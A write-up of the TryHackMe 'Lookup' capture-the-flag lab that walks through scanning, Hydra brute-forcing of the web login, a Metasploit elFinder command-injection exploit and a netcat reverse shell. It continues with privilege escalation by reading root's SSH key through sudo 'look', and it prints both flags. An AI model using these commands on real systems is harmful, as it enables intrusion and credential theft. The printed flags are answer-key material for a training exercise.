Tryhackme: Lookup

Tryhackme: Lookup | Writeup | 13 July 2025

---

Author: Aakash Modi

---

🛰️ Reconnaissance & Scanning

🔍 Host Discovery

First, add the target host’s IP to /etc/hosts as lookup.thm:

sudo nano /etc/hosts
# Add the following line:
<IP_address>   lookup.thm

---

🔎 Nmap Scan / Port Scanning

Run a full port scan with service and version detection:

sudo nmap -T4 -n -sC -sV -Pn -p- -oN fastscan.txt lookup.thm

---

🕵️ Nikto Scan

Scan for web vulnerabilities:

nikto -h http://lookup.thm/ -o nikto_scan.txt

---

🧰 Burp Suite Enumeration

Use Burp Suite Intruder to enumerate usernames:

• Found valid username:
• Testing other usernames:

---

🔓 Hydra Brute Force

Find Usernames

hydra -L /usr/share/wordlists/rockyou.txt -p admin lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=wrong username or password" -V

• Discovered users:
  1. admin
  2. jose

Find Password

hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=wrong password" -V

• Found credentials:
  username: jose
password: password123

---

🚪 Exploitation

• Login to dashboard:
• Found SSH credentials:

Search for Exploits

searchsploit elfinder

Metasploit Exploitation

use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set LHOST <your_ip>
exploit

• Get a shell:

  shell
  busybox nc <your_ip> 1111 -e bash
  

• Stabilize shell:

  python3 -c 'import pty;pty.spawn("/bin/bash")'
  export TERM=xterm-256color
  cd /tmp
  

---

🚀 Privilege Escalation

• Find SUID binaries:

  find / -perm -4000 -type f 2>/dev/null
  

  

• Update PATH:

  export PATH=/tmp:$PATH
  

• Use password list and brute-force with suBF.sh:

  chmod +x suBF.sh
  ./suBF.sh -u think -w password.txt
  

  

• Check sudo permissions:

  sudo -l
  

  

• Use look command for privilege escalation (GTFOBins):

  sudo look "" user.txt
  

  • User flag: 38375fb4dd8baa2b2039ac03d92b820e
• Extract root SSH key:

  sudo look "" /root/.ssh/id_rsa
  

  

• Copy SSH key to your machine:

  nano id_rsa
  chmod 600 id_rsa
  

  

• SSH as root:

  ssh -i id_rsa root@files.lookup.thm
  

  

• Root flag: 5a285a9f257e45c68bb6c9f9f57d18e8

---

🛠️ Tools Used

• Nmap
• Nikto
• Hydra
• Burp Suite
• Netcat (nc)
• Searchsploit
• Metasploit

---

🎯 Conclusion

• All tasks completed successfully!

---

🎉 Happy Hacking!

---